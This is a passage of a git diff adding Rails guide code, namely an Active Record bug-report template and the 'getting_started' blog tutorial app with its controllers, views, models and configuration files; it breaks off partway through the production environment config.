+class BugTest < MiniTest::Unit::TestCase
+ def test_association_stuff
+ post = Post.create!
+ post.comments << Comment.create!
+
+ assert_equal 1, post.comments.count
+ assert_equal 1, Comment.count
+ assert_equal post.id, Comment.first.post.id
+ end
+end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
new file mode 100644
index 0000000..68069cd
--- /dev/null
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -0,0 +1,48 @@
+unless File.exists?('Gemfile')
+ File.write('Gemfile', <<-GEMFILE)
+ source 'https://rubygems.org'
+ gem 'rails', github: 'rails/rails'
+ gem 'sqlite3'
+ GEMFILE
+
+ system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+ create_table :posts do |t|
+ end
+
+ create_table :comments do |t|
+ t.integer :post_id
+ end
+end
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
+class BugTest < MiniTest::Unit::TestCase
+ def test_association_stuff
+ post = Post.create!
+ post.comments << Comment.create!
+
+ assert_equal 1, post.comments.count
+ assert_equal 1, Comment.count
+ assert_equal post.id, Comment.first.post.id
+ end
+end
diff --git a/guides/code/getting_started/.gitignore b/guides/code/getting_started/.gitignore
new file mode 100644
index 0000000..25a742d
--- /dev/null
+++ b/guides/code/getting_started/.gitignore
@@ -0,0 +1,16 @@
+# See http://help.github.com/ignore-files/ for more about ignoring files.
+#
+# If you find yourself ignoring temporary files generated by your text editor
+# or operating system, you probably want to add a global ignore instead:
+# git config --global core.excludesfile '~/.gitignore_global'
+
+# Ignore bundler config.
+/.bundle
+
+# Ignore the default SQLite database.
+/db/*.sqlite3
+/db/*.sqlite3-journal
+
+# Ignore all logfiles and tempfiles.
+/log/*.log
+/tmp
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
new file mode 100644
index 0000000..acd2ed5
--- /dev/null
+++ b/guides/code/getting_started/Gemfile
@@ -0,0 +1,43 @@
+source 'https://rubygems.org'
+
+gem 'rails', '4.0.0'
+
+# Use sqlite3 as the database for Active Record
+gem 'sqlite3'
+
+# Use SCSS for stylesheets
+gem 'sass-rails'
+
+# Use CoffeeScript for .js.coffee assets and views
+gem 'coffee-rails'
+
+# See https://github.com/sstephenson/execjs#readme for more supported runtimes
+# gem 'therubyracer', platforms: :ruby
+
+# Use Uglifier as compressor for JavaScript assets
+gem 'uglifier', '>= 1.0.3'
+
+gem 'jquery-rails'
+
+# Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
+gem 'turbolinks'
+
+group :doc do
+ # bundle exec rake doc:rails generates the API under doc/api.
+ gem 'sdoc', require: false
+end
+
+# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
+gem 'jbuilder', '~> 1.2'
+
+# To use ActiveModel has_secure_password
+# gem 'bcrypt-ruby', '~> 3.0.0'
+
+# Use unicorn as the app server
+# gem 'unicorn'
+
+# Deploy with Capistrano
+# gem 'capistrano', group: :development
+
+# To use debugger
+# gem 'debugger'
diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock
new file mode 100644
index 0000000..823fac5
--- /dev/null
+++ b/guides/code/getting_started/Gemfile.lock
@@ -0,0 +1,150 @@
+GIT
+ remote: git://github.com/rails/activerecord-deprecated_finders.git
+ revision: 2e7b35d7948cefb2bba96438873d7f7bb1961a03
+ specs:
+ activerecord-deprecated_finders (0.0.2)
+
+GIT
+ remote: git://github.com/rails/arel.git
+ revision: 38d0a222e275d917a2c1d093b24457bafb600a00
+ specs:
+ arel (3.0.2.20120819075748)
+
+GIT
+ remote: git://github.com/rails/coffee-rails.git
+ revision: 052634e6d02d4800d7b021201cc8d5829775b3cd
+ specs:
+ coffee-rails (4.0.0.beta)
+ coffee-script (>= 2.2.0)
+ railties (>= 4.0.0.beta, < 5.0)
+
+GIT
+ remote: git://github.com/rails/sass-rails.git
+ revision: ae8138a89cac397c0df903dd533e2862902ce8f5
+ specs:
+ sass-rails (4.0.0.beta)
+ railties (>= 4.0.0.beta, < 5.0)
+ sass (>= 3.1.10)
+ sprockets-rails (~> 2.0.0.rc0)
+ tilt (~> 1.3)
+
+GIT
+ remote: git://github.com/rails/sprockets-rails.git
+ revision: 09917104fdb42245fe369612a7b0e3d77e1ba763
+ specs:
+ sprockets-rails (2.0.0.rc1)
+ actionpack (>= 3.0)
+ activesupport (>= 3.0)
+ sprockets (~> 2.8)
+
+PATH
+ remote: /Users/steve/src/rails
+ specs:
+ actionmailer (4.0.0.beta)
+ actionpack (= 4.0.0.beta)
+ mail (~> 2.5.3)
+ actionpack (4.0.0.beta)
+ activesupport (= 4.0.0.beta)
+ builder (~> 3.1.0)
+ erubis (~> 2.7.0)
+ rack (~> 1.4.3)
+ rack-test (~> 0.6.1)
+ activemodel (4.0.0.beta)
+ activesupport (= 4.0.0.beta)
+ builder (~> 3.1.0)
+ activerecord (4.0.0.beta)
+ activemodel (= 4.0.0.beta)
+ activerecord-deprecated_finders (= 0.0.2)
+ activesupport (= 4.0.0.beta)
+ arel (~> 3.0.2)
+ activesupport (4.0.0.beta)
+ i18n (~> 0.6)
+ minitest (~> 4.1)
+ multi_json (~> 1.3)
+ thread_safe (~> 0.1)
+ tzinfo (~> 0.3.33)
+ rails (4.0.0.beta)
+ actionmailer (= 4.0.0.beta)
+ actionpack (= 4.0.0.beta)
+ activerecord (= 4.0.0.beta)
+ activesupport (= 4.0.0.beta)
+ bundler (>= 1.2.2, < 2.0)
+ railties (= 4.0.0.beta)
+ sprockets-rails (~> 2.0.0.rc1)
+ railties (4.0.0.beta)
+ actionpack (= 4.0.0.beta)
+ activesupport (= 4.0.0.beta)
+ rake (>= 0.8.7)
+ rdoc (~> 3.4)
+ thor (>= 0.15.4, < 2.0)
+
+GEM
+ remote: https://rubygems.org/
+ specs:
+ atomic (1.0.1)
+ builder (3.1.4)
+ coffee-script (2.2.0)
+ coffee-script-source
+ execjs
+ coffee-script-source (1.4.0)
+ erubis (2.7.0)
+ execjs (1.4.0)
+ multi_json (~> 1.0)
+ hike (1.2.1)
+ i18n (0.6.1)
+ jbuilder (1.0.2)
+ activesupport (>= 3.0.0)
+ jquery-rails (2.2.0)
+ railties (>= 3.0, < 5.0)
+ thor (>= 0.14, < 2.0)
+ json (1.7.6)
+ mail (2.5.3)
+ i18n (>= 0.4.0)
+ mime-types (~> 1.16)
+ treetop (~> 1.4.8)
+ mime-types (1.19)
+ minitest (4.4.0)
+ multi_json (1.5.0)
+ polyglot (0.3.3)
+ rack (1.4.4)
+ rack-test (0.6.2)
+ rack (>= 1.0)
+ rake (10.0.3)
+ rdoc (3.12)
+ json (~> 1.4)
+ sass (3.2.5)
+ sprockets (2.8.2)
+ hike (~> 1.2)
+ multi_json (~> 1.0)
+ rack (~> 1.0)
+ tilt (~> 1.1, != 1.3.0)
+ sqlite3 (1.3.7)
+ thor (0.16.0)
+ thread_safe (0.1.0)
+ atomic
+ tilt (1.3.3)
+ treetop (1.4.12)
+ polyglot
+ polyglot (>= 0.3.1)
+ turbolinks (1.0.0)
+ coffee-rails
+ tzinfo (0.3.35)
+ uglifier (1.3.0)
+ execjs (>= 0.3.0)
+ multi_json (~> 1.0, >= 1.0.2)
+
+PLATFORMS
+ ruby
+
+DEPENDENCIES
+ activerecord-deprecated_finders!
+ arel!
+ coffee-rails!
+ jbuilder (~> 1.0.1)
+ jquery-rails
+ rails!
+ sass-rails!
+ sprockets-rails!
+ sqlite3
+ turbolinks
+ uglifier (>= 1.0.3)
diff --git a/guides/code/getting_started/README.rdoc b/guides/code/getting_started/README.rdoc
new file mode 100644
index 0000000..dd4e97e
--- /dev/null
+++ b/guides/code/getting_started/README.rdoc
@@ -0,0 +1,28 @@
+== README
+
+This README would normally document whatever steps are necessary to get the
+application up and running.
+
+Things you may want to cover:
+
+* Ruby version
+
+* System dependencies
+
+* Configuration
+
+* Database creation
+
+* Database initialization
+
+* How to run the test suite
+
+* Services (job queues, cache servers, search engines, etc.)
+
+* Deployment instructions
+
+* ...
+
+
+Please feel free to use a different markup language if you do not plan to run
+<tt>rake doc:app</tt>.
diff --git a/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
new file mode 100644
index 0000000..05de8bb
--- /dev/null
+++ b/guides/code/getting_started/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require File.expand_path('../config/application', __FILE__)
+
+Blog::Application.load_tasks
diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js
new file mode 100644
index 0000000..9e83eb5
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/application.js
@@ -0,0 +1,16 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file.
+//
+// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
+// GO AFTER THE REQUIRES BELOW.
+//
+//= require jquery
+//= require jquery_ujs
+//= require turbolinks
+//= require_tree .
diff --git a/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee b/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/stylesheets/application.css b/guides/code/getting_started/app/assets/stylesheets/application.css
new file mode 100644
index 0000000..3192ec8
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/application.css
@@ -0,0 +1,13 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the top of the
+ * compiled file, but it's generally better to create a new file per style scope.
+ *
+ *= require_self
+ *= require_tree .
+ */
diff --git a/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
new file mode 100644
index 0000000..e730912
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the Comments controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
new file mode 100644
index 0000000..1a7e153
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the posts controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss b/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
new file mode 100644
index 0000000..77ce11a
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the welcome controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/controllers/application_controller.rb b/guides/code/getting_started/app/controllers/application_controller.rb
new file mode 100644
index 0000000..d83690e
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/application_controller.rb
@@ -0,0 +1,5 @@
+class ApplicationController < ActionController::Base
+ # Prevent CSRF attacks by raising an exception.
+ # For APIs, you may want to use :null_session instead.
+ protect_from_forgery with: :exception
+end
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
new file mode 100644
index 0000000..0e3d2a6
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/comments_controller.rb
@@ -0,0 +1,17 @@
+class CommentsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment].permit(:commenter, :body))
+ redirect_to post_path(@post)
+ end
+
+ def destroy
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.find(params[:id])
+ @comment.destroy
+ redirect_to post_path(@post)
+ end
+end
diff --git a/guides/code/getting_started/app/controllers/concerns/.keep b/guides/code/getting_started/app/controllers/concerns/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
new file mode 100644
index 0000000..6aa1409
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/posts_controller.rb
@@ -0,0 +1,47 @@
+class PostsController < ApplicationController
+
+ http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+ def index
+ @posts = Post.all
+ end
+
+ def show
+ @post = Post.find(params[:id])
+ end
+
+ def edit
+ @post = Post.find(params[:id])
+ end
+
+ def update
+ @post = Post.find(params[:id])
+
+ if @post.update(params[:post].permit(:title, :text))
+ redirect_to action: :show, id: @post.id
+ else
+ render 'edit'
+ end
+ end
+
+ def new
+ @post = Post.new
+ end
+
+ def create
+ @post = Post.new(params[:post].permit(:title, :text))
+
+ if @post.save
+ redirect_to action: :show, id: @post.id
+ else
+ render 'new'
+ end
+ end
+
+ def destroy
+ @post = Post.find(params[:id])
+ @post.destroy
+
+ redirect_to action: :index
+ end
+end
diff --git a/guides/code/getting_started/app/controllers/welcome_controller.rb b/guides/code/getting_started/app/controllers/welcome_controller.rb
new file mode 100644
index 0000000..f9b859b
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/welcome_controller.rb
@@ -0,0 +1,4 @@
+class WelcomeController < ApplicationController
+ def index
+ end
+end
diff --git a/guides/code/getting_started/app/helpers/application_helper.rb b/guides/code/getting_started/app/helpers/application_helper.rb
new file mode 100644
index 0000000..de6be79
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/guides/code/getting_started/app/helpers/comments_helper.rb b/guides/code/getting_started/app/helpers/comments_helper.rb
new file mode 100644
index 0000000..0ec9ca5
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/comments_helper.rb
@@ -0,0 +1,2 @@
+module CommentsHelper
+end
diff --git a/guides/code/getting_started/app/helpers/posts_helper.rb b/guides/code/getting_started/app/helpers/posts_helper.rb
new file mode 100644
index 0000000..a7b8cec
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/posts_helper.rb
@@ -0,0 +1,2 @@
+module PostsHelper
+end
diff --git a/guides/code/getting_started/app/helpers/welcome_helper.rb b/guides/code/getting_started/app/helpers/welcome_helper.rb
new file mode 100644
index 0000000..eeead45
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/welcome_helper.rb
@@ -0,0 +1,2 @@
+module WelcomeHelper
+end
diff --git a/guides/code/getting_started/app/mailers/.keep b/guides/code/getting_started/app/mailers/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/app/models/.keep b/guides/code/getting_started/app/models/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/app/models/comment.rb b/guides/code/getting_started/app/models/comment.rb
new file mode 100644
index 0000000..4e76c5b
--- /dev/null
+++ b/guides/code/getting_started/app/models/comment.rb
@@ -0,0 +1,3 @@
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
diff --git a/guides/code/getting_started/app/models/concerns/.keep b/guides/code/getting_started/app/models/concerns/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/app/models/post.rb b/guides/code/getting_started/app/models/post.rb
new file mode 100644
index 0000000..64e0d72
--- /dev/null
+++ b/guides/code/getting_started/app/models/post.rb
@@ -0,0 +1,7 @@
+class Post < ActiveRecord::Base
+ has_many :comments, dependent: :destroy
+
+ validates :title,
+ presence: true,
+ length: { minimum: 5 }
+end
diff --git a/guides/code/getting_started/app/views/comments/_comment.html.erb b/guides/code/getting_started/app/views/comments/_comment.html.erb
new file mode 100644
index 0000000..5934933
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_comment.html.erb
@@ -0,0 +1,15 @@
+<p>
+ <strong>Commenter:</strong>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <strong>Comment:</strong>
+ <%= comment.body %>
+</p>
+
+<p>
+ <%= link_to 'Destroy Comment', [comment.post, comment],
+ method: :delete,
+ data: { confirm: 'Are you sure?' } %>
+</p>
diff --git a/guides/code/getting_started/app/views/comments/_form.html.erb b/guides/code/getting_started/app/views/comments/_form.html.erb
new file mode 100644
index 0000000..00cb3a0
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_form.html.erb
@@ -0,0 +1,13 @@
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <p>
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </p>
+ <p>
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
new file mode 100644
index 0000000..95368c3
--- /dev/null
+++ b/guides/code/getting_started/app/views/layouts/application.html.erb
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>Blog</title>
+ <%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+ <%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+ <%= csrf_meta_tags %>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb
new file mode 100644
index 0000000..c9fb74a
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/_form.html.erb
@@ -0,0 +1,27 @@
+<%= form_for @post do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
diff --git a/guides/code/getting_started/app/views/posts/edit.html.erb b/guides/code/getting_started/app/views/posts/edit.html.erb
new file mode 100644
index 0000000..393e743
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/edit.html.erb
@@ -0,0 +1,5 @@
+<h1>Edit post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/index.html.erb b/guides/code/getting_started/app/views/posts/index.html.erb
new file mode 100644
index 0000000..7369f03
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/index.html.erb
@@ -0,0 +1,21 @@
+<h1>Listing Posts</h1>
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ <td><%= link_to 'Show', action: :show, id: post.id %></td>
+ <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+ <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
+ method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+<% end %>
+</table>
diff --git a/guides/code/getting_started/app/views/posts/new.html.erb b/guides/code/getting_started/app/views/posts/new.html.erb
new file mode 100644
index 0000000..efa8103
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/show.html.erb b/guides/code/getting_started/app/views/posts/show.html.erb
new file mode 100644
index 0000000..e99e9ed
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/show.html.erb
@@ -0,0 +1,18 @@
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
new file mode 100644
index 0000000..738e12d
--- /dev/null
+++ b/guides/code/getting_started/app/views/welcome/index.html.erb
@@ -0,0 +1,3 @@
+<h1>Hello, Rails!</h1>
+
+<%= link_to "My Blog", controller: "posts" %>
diff --git a/guides/code/getting_started/bin/bundle b/guides/code/getting_started/bin/bundle
new file mode 100755
index 0000000..45cf37f
--- /dev/null
+++ b/guides/code/getting_started/bin/bundle
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'rubygems'
+load Gem.bin_path('bundler', 'bundle')
diff --git a/guides/code/getting_started/bin/rails b/guides/code/getting_started/bin/rails
new file mode 100755
index 0000000..728cd85
--- /dev/null
+++ b/guides/code/getting_started/bin/rails
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
diff --git a/guides/code/getting_started/bin/rake b/guides/code/getting_started/bin/rake
new file mode 100755
index 0000000..1724048
--- /dev/null
+++ b/guides/code/getting_started/bin/rake
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require_relative '../config/boot'
+require 'rake'
+Rake.application.run
diff --git a/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
new file mode 100644
index 0000000..ddf869e
--- /dev/null
+++ b/guides/code/getting_started/config.ru
@@ -0,0 +1,4 @@
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run Blog::Application
diff --git a/guides/code/getting_started/config/application.rb b/guides/code/getting_started/config/application.rb
new file mode 100644
index 0000000..3d7604b
--- /dev/null
+++ b/guides/code/getting_started/config/application.rb
@@ -0,0 +1,18 @@
+require File.expand_path('../boot', __FILE__)
+
+require 'rails/all'
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+
+module Blog
+ class Application < Rails::Application
+ # Settings in config/environments/* take precedence over those specified here.
+ # Application configuration should go into files in config/initializers
+ # -- all .rb files in that directory are automatically loaded.
+
+ # Custom directories with classes and modules you want to be autoloadable.
+ # config.autoload_paths += %W(#{config.root}/extras)
+ end
+end
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
new file mode 100644
index 0000000..3596736
--- /dev/null
+++ b/guides/code/getting_started/config/boot.rb
@@ -0,0 +1,4 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/guides/code/getting_started/config/database.yml b/guides/code/getting_started/config/database.yml
new file mode 100644
index 0000000..51a4dd4
--- /dev/null
+++ b/guides/code/getting_started/config/database.yml
@@ -0,0 +1,25 @@
+# SQLite version 3.x
+# gem install sqlite3
+#
+# Ensure the SQLite 3 gem is defined in your Gemfile
+# gem 'sqlite3'
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: sqlite3
+ database: db/test.sqlite3
+ pool: 5
+ timeout: 5000
+
+production:
+ adapter: sqlite3
+ database: db/production.sqlite3
+ pool: 5
+ timeout: 5000
diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
new file mode 100644
index 0000000..2d65111
--- /dev/null
+++ b/guides/code/getting_started/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the rails application.
+require File.expand_path('../application', __FILE__)
+
+# Initialize the rails application.
+Blog::Application.initialize!
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
new file mode 100644
index 0000000..d169e94
--- /dev/null
+++ b/guides/code/getting_started/config/environments/development.rb
@@ -0,0 +1,30 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # In the development environment your application's code is reloaded on
+ # every request. This slows down response time but is perfect for development
+ # since you don't have to restart the web server when you make code changes.
+ config.cache_classes = false
+
+ # Do not eager load code on boot.
+ config.eager_load = false
+
+ # Show full error reports and disable caching.
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Don't care if the mailer can't send.
+ config.action_mailer.raise_delivery_errors = false
+
+ # Print deprecation notices to the Rails logger.
+ config.active_support.deprecation = :log
+
+ # Only use best-standards-support built into browsers.
+ config.action_dispatch.best_standards_support = :builtin
+
+ # Raise an error on page load if there are pending migrations
+ config.active_record.migration_error = :page_load
+
+ # Debug mode disables concatenation and preprocessing of assets.
+ config.assets.debug = true
+end
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
new file mode 100644
index 0000000..368a735
--- /dev/null
+++ b/guides/code/getting_started/config/environments/production.rb
@@ -0,0 +1,80 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # Code is not reloaded between requests.
+ config.cache_classes = true
+
+ # Eager load code on boot. This eager loads most of Rails and
+ # your application in memory, allowing both thread web servers
+ # and those relying on copy on write to perform better.
+ # Rake tasks automatically ignore this option for performance.
+ config.eager_load = true
+
+ # Full error reports are disabled and caching is turned on.
+ config.consider_all_requests_local = false
+ config.action_controller.perform_caching = true
+
+ # Enable Rack::Cache to put a simple HTTP cache in front of your application
+ # Add `rack-cache` to your Gemfile before enabling this.
+ # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
+ # config.action_dispatch.rack_cache = true
+
+ # Disable Rails's static asset server (Apache or nginx will already do this).
+ config.serve_static_assets = false
+
+ # Compress JavaScripts and CSS.
+ config.assets.js_compressor = :uglifier
+ # config.assets.css_compressor = :sass
+
+ # Whether to fallback to assets pipeline if a precompiled asset is missed.
+ config.assets.compile = false
+
+ # Generate digests for assets URLs.
+ config.assets.digest = true
+
+ # Version of your assets, change this if you want to expire all your assets.
+ config.assets.version = '1.0'
+
+ # Specifies the header that your server uses for sending files.
+ # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+ # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+
+ # Set to :debug to see everything in the log.
+ config.log_level = :info
+
+ # Prepend all log lines with the following tags.
+ # config.log_tags = [ :subdomain, :uuid ]
+
+ # Use a different logger for distributed setups.
+ # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+ # Use a different cache store in production.
+ # config.cache_store = :mem_cache_store
+
+ # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+ # config.action_controller.asset_host = "http://assets.example.com"
+
+ # Precompile additional assets.
+ # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+ # config.assets.precompile += %w( search.js )
+
+ # Ignore bad email addresses and do not raise email delivery errors.
+ # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+ # config.action_mailer.raise_delivery_errors = false
+
+ # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+ # the I18n.default_locale when a translation can not be found).
+ config.i18n.fallbacks = true
+
+ # Send deprecation notices to registered listeners.
+ config.active_support.deprecation = :notify
+
+ # Disable automatic flushing of the log to improve performance.
+ # config.autoflush_log = false
+
